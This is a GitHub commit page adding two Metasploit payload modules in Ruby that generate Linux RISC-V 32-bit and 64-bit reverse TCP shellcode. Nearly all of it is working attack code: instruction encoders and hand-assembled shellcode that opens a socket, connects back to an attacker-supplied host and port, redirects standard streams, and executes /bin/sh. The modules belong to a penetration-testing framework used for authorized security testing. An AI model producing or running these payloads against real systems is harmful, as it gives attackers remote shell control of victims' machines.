Skip to content

Commit dffbcd6

Browse files
committed
Add Linux RISC-V 32-bit/64-bit TCP reverse shell payloads
1 parent e670167 commit dffbcd6

File tree

2 files changed

+310
-0
lines changed

2 files changed

+310
-0
lines changed
Lines changed: 136 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,136 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
module MetasploitModule
7+
CachedSize = 156
8+
9+
include Msf::Payload::Single
10+
include Msf::Payload::Linux
11+
include Msf::Sessions::CommandShellOptions
12+
13+
SYS_SOCKET = 198
14+
SYS_CONNECT = 203
15+
SYS_DUP3 = 24
16+
SYS_EXECVE = 221
17+
AF_INET = 2
18+
SOCK_STREAM = 1
19+
IPPROTO_IP = 0
20+
21+
def initialize(info = {})
22+
super(
23+
merge_info(
24+
info,
25+
'Name' => 'Linux Command Shell, Reverse TCP Inline',
26+
'Description' => 'Connect back to attacker and spawn a command shell.',
27+
'Author' => [
28+
'modexp', # connect.s RISC-V 64-bit shellcode
29+
'bcoles', # RISC-V 32-bit shellcode port and metasploit
30+
],
31+
'License' => BSD_LICENSE,
32+
'Platform' => 'linux',
33+
'Arch' => [ ARCH_RISCV32LE ],
34+
'References' => [
35+
['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'],
36+
['URL', 'https://web.archive.org/web/20230326161514/https://github.com/odzhan/shellcode/commit/d3ee25a6ebcdd21a21d0e6eccc979e45c24a9a1d'],
37+
],
38+
'Handler' => Msf::Handler::ReverseTcp,
39+
'Session' => Msf::Sessions::CommandShellUnix
40+
)
41+
)
42+
end
43+
44+
# Encode a RISC-V LUI (Load Upper Immediate) instruction
45+
def encode_lui(rd, imm20)
46+
0b0110111 | ((imm20 & 0xfffff) << 12) | (rd << 7)
47+
end
48+
49+
# Encode a RISC-V ADDI (Add Immediate) instruction
50+
def encode_addi(rd, rs1, imm12)
51+
0b0010011 | ((imm12 & 0xfff) << 20) | (rs1 << 15) | (0b000 << 12) | (rd << 7)
52+
end
53+
54+
# Emit RISC-V instruction words that build an arbitrary 32-bit constant in a chosen register using LUI+ADDI.
55+
def load_const_into_reg32(const, rd)
56+
raise ArgumentError, "Constant '#{const}' is #{const.class}; not Integer" unless const.is_a?(Integer)
57+
58+
max_const = 0xFFFF_FFFF
59+
60+
raise ArgumentError, "Constant #{const} is outside range 0..#{max_const}" unless const.between?(0, max_const)
61+
62+
if const >= -2048 && const <= 2047
63+
return [encode_addi(rd, 0, const)]
64+
end
65+
66+
upper = (const + 0x800) >> 12
67+
low = const & 0xfff
68+
[
69+
encode_lui(rd, upper),
70+
encode_addi(rd, rd, low)
71+
]
72+
end
73+
74+
def generate(_opts = {})
75+
lhost = datastore['LHOST'] || '127.127.127.127'
76+
lport = datastore['LPORT'].to_i
77+
78+
raise ArgumentError, 'LHOST must be in IPv4 format.' unless Rex::Socket.is_ipv4?(lhost)
79+
80+
encoded_host = Rex::Socket.addr_aton(lhost).unpack1('V')
81+
encoded_port = [lport].pack('n').unpack1('v')
82+
83+
shellcode = [
84+
# prepare stack
85+
0xfe010113, # addi sp,sp,-32
86+
87+
# s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
88+
*load_const_into_reg32(SYS_SOCKET, 17), # li a7,198 # SYS_socket
89+
*load_const_into_reg32(IPPROTO_IP, 12), # li a2,0 # IPPROTO_IP
90+
*load_const_into_reg32(SOCK_STREAM, 11), # li a1,1 # SOCK_STREAM
91+
*load_const_into_reg32(AF_INET, 10), # li a0,2 # AF_INET
92+
0x00000073, # ecall
93+
94+
# connect(s, &sa, sizeof(sa));
95+
0x00050693, # mv a3,a0 # a3 = s
96+
*load_const_into_reg32(SYS_CONNECT, 17), # li a7,203 # SYS_connect
97+
*load_const_into_reg32(16, 12), # li a2,16 # sizeof(sockaddr_in)
98+
0x00200293, # li t0,2 # AF_INET
99+
0x00511023, # sh t0,0(sp) # sin_family
100+
*load_const_into_reg32(encoded_port, 5),
101+
0x00511123, # sh t0,2(sp) # sin_port
102+
*load_const_into_reg32(encoded_host, 5),
103+
0x00512223, # sw t0,4(sp) # sin_addr
104+
0x00012423, # sw 0,8(sp) # padding
105+
0x00012623, # sw 0,12(sp) # padding
106+
0x00010593, # mv a1,sp # a1 = &sa
107+
0x00000073, # ecall
108+
109+
# dup stdin/stdout/stderr
110+
*load_const_into_reg32(SYS_DUP3, 17), # li a7,24 # SYS_dup3
111+
*load_const_into_reg32(3, 11), # li a1,3 # start from STDERR_FILENO + 1 = 3
112+
# c_dup:
113+
*load_const_into_reg32(0, 12), # li a2,0
114+
0x00068513, # mv a0,a3
115+
0xfff58593, # addi a1,a1,-1
116+
0x00000073, # ecall
117+
0xfe0598e3, # bnez a1,100b0 <c_dup>
118+
119+
# execve("/bin/sh", NULL, NULL);
120+
0x0dd00893, # li a7,221
121+
*load_const_into_reg32(0x6e69622f, 5), # "/bin"
122+
0x00512023, # sw t0,0(sp)
123+
*load_const_into_reg32(0x0068732f, 5), # "/sh\0"
124+
0x00512223, # sw t0,4(sp)
125+
0x00010513, # mv a0,sp # path = /bin/sh
126+
0x00000593, # li a1,0 # argv = NULL
127+
0x00000613, # li a2,0 # envp = NULL
128+
0x00000073 # ecall
129+
].pack('V*')
130+
131+
# align our shellcode to 4 bytes
132+
shellcode += "\x00" while shellcode.bytesize % 4 != 0
133+
134+
super.to_s + shellcode
135+
end
136+
end
Lines changed: 174 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,174 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
module MetasploitModule
7+
CachedSize = 140
8+
9+
include Msf::Payload::Single
10+
include Msf::Payload::Linux
11+
include Msf::Sessions::CommandShellOptions
12+
13+
SYS_SOCKET = 198
14+
SYS_CONNECT = 203
15+
SYS_DUP3 = 24
16+
SYS_EXECVE = 221
17+
AF_INET = 2
18+
SOCK_STREAM = 1
19+
IPPROTO_IP = 0
20+
21+
def initialize(info = {})
22+
super(
23+
merge_info(
24+
info,
25+
'Name' => 'Linux Command Shell, Reverse TCP Inline',
26+
'Description' => 'Connect back to attacker and spawn a command shell.',
27+
'Author' => [
28+
'modexp', # connect.s RISC-V 64-bit shellcode
29+
'bcoles', # metasploit
30+
],
31+
'License' => BSD_LICENSE,
32+
'Platform' => 'linux',
33+
'Arch' => [ ARCH_RISCV64LE ],
34+
'References' => [
35+
['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'],
36+
['URL', 'https://web.archive.org/web/20230326161514/https://github.com/odzhan/shellcode/commit/d3ee25a6ebcdd21a21d0e6eccc979e45c24a9a1d'],
37+
],
38+
'Handler' => Msf::Handler::ReverseTcp,
39+
'Session' => Msf::Sessions::CommandShellUnix
40+
)
41+
)
42+
end
43+
44+
# Encode a RISC-V ADDI (Add Immediate) instruction
45+
def encode_addi(rd, rs1, imm12)
46+
opcode = 0b0010011
47+
funct3 = 0b000
48+
imm = imm12 & 0xfff
49+
(imm << 20) | (rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode
50+
end
51+
52+
# Encode a RISC-V LUI (Load Upper Immediate) instruction
53+
def encode_lui(rd, imm20)
54+
0b0110111 | ((imm20 & 0xfffff) << 12) | (rd << 7)
55+
end
56+
57+
# Encode a RISC-V SLLI (Shift Left Logical Immediate) instruction
58+
def encode_slli(rd, rs1, shamt)
59+
opcode = 0b0010011
60+
funct3 = 0b001
61+
funct6 = 0b000000
62+
((funct6 & 0x3f) << 26) | ((shamt & 0x3f) << 20) |
63+
(rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode
64+
end
65+
66+
# Encode a RISC-V OR instruction (rd = rs1 OR rs2).
67+
def encode_or(rd, rs1, rs2)
68+
opcode = 0b0110011
69+
funct3 = 0b110
70+
funct7 = 0b0000000
71+
(funct7 << 25) | (rs2 << 20) | (rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode
72+
end
73+
74+
# Emit RISC-V instruction words that build an arbitrary 64-bit constant in a chosen register using SLLI+LUI+ADDI
75+
# Note: modifies x6 register
76+
def load_const_into_reg64(const, rd)
77+
raise ArgumentError, "Constant '#{const}' is #{const.class}; not Integer" unless const.is_a?(Integer)
78+
79+
max_const = (1 << 64) - 1
80+
81+
raise ArgumentError, "Constant #{const} is outside range 0..#{max_const}" unless const.between?(0, max_const)
82+
83+
# Split into 32‑bit halves
84+
hi = const >> 32
85+
lo = const & 0xFFFF_FFFF
86+
87+
# Load high half
88+
[
89+
*load_const_into_reg32(hi, rd),
90+
*encode_slli(rd, rd, 32),
91+
*load_const_into_reg32(lo, 6),
92+
*encode_or(rd, rd, 6),
93+
]
94+
end
95+
96+
# Emit RISC-V instruction words that build an arbitrary 32-bit constant in a chosen register using LUI+ADDI.
97+
def load_const_into_reg32(const, rd)
98+
raise ArgumentError, "Constant '#{const}' is #{const.class}; not Integer" unless const.is_a?(Integer)
99+
100+
max_const = 0xFFFF_FFFF
101+
102+
raise ArgumentError, "Constant #{const} is outside range 0..#{max_const}" unless const.between?(0, max_const)
103+
104+
if const >= -2048 && const <= 2047
105+
return [encode_addi(rd, 0, const)]
106+
end
107+
108+
upper = (const + 0x800) >> 12
109+
low = const & 0xfff
110+
[
111+
encode_lui(rd, upper),
112+
encode_addi(rd, rd, low)
113+
]
114+
end
115+
116+
def generate(_opts = {})
117+
lhost = datastore['LHOST'] || '127.127.127.127'
118+
lport = datastore['LPORT'].to_i
119+
120+
raise ArgumentError, 'LHOST must be in IPv4 format.' unless Rex::Socket.is_ipv4?(lhost)
121+
122+
encoded_host = Rex::Socket.addr_aton(lhost).unpack1('V')
123+
encoded_port = [lport].pack('n').unpack1('v')
124+
encoded_sockaddr = (encoded_host << 32) | (encoded_port << 16) | 2
125+
126+
shellcode = [
127+
# prepare stack
128+
0xff010113, # addi sp,sp,-16
129+
130+
# s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
131+
*load_const_into_reg32(SYS_SOCKET, 17), # li a7,198 # SYS_socket
132+
*load_const_into_reg32(IPPROTO_IP, 12), # li a2,0 # IPPROTO_IP
133+
*load_const_into_reg32(SOCK_STREAM, 11), # li a1,1 # SOCK_STREAM
134+
*load_const_into_reg32(AF_INET, 10), # li a0,2 # AF_INET
135+
0x00000073, # ecall
136+
137+
# connect(s, &sa, sizeof(sa));
138+
0x00050693, # mv a3,a0 # a3 = s
139+
*load_const_into_reg32(SYS_CONNECT, 17), # li a7,203 # SYS_connect
140+
*load_const_into_reg32(16, 12), # li a2,16 # sizeof(sockaddr_in)
141+
*load_const_into_reg64(encoded_sockaddr, 11),
142+
0x00b13023, # sd a1,0(sp)
143+
0x00010593, # mv a1,sp # a1 = &sa
144+
0x00000073, # ecall
145+
146+
# dup stdin/stdout/stderr
147+
*load_const_into_reg32(SYS_DUP3, 17), # li a7,24 # SYS_dup3
148+
*load_const_into_reg32(3, 11), # li a1,3 # start from STDERR_FILENO + 1 = 3
149+
# c_dup:
150+
*load_const_into_reg32(0, 12), # li a2,0
151+
0x00068513, # mv a0,a3
152+
0xfff58593, # addi a1,a1,-1
153+
0x00000073, # ecall
154+
0xfe0598e3, # bnez a1,100c8 <c_dup>
155+
156+
# execve("/bin/sh", NULL, NULL);
157+
*load_const_into_reg32(SYS_EXECVE, 17), # SYS_execve
158+
0x34399537, # lui a0,0x34399
159+
0x7b75051b, # addiw a0,a0,1975
160+
0x00c51513, # slli a0,a0,0xc
161+
0x34b50513, # addi a0,a0,843
162+
0x00d51513, # slli a0,a0,0xd
163+
0x22f50513, # addi a0,a0,559
164+
0x00a13023, # sd a0,0(sp)
165+
0x00010513, # mv a0,sp
166+
0x00000073 # ecall
167+
].pack('V*')
168+
169+
# align our shellcode to 4 bytes
170+
shellcode += "\x00" while shellcode.bytesize % 4 != 0
171+
172+
super.to_s + shellcode
173+
end
174+
end

0 commit comments

Comments
 (0)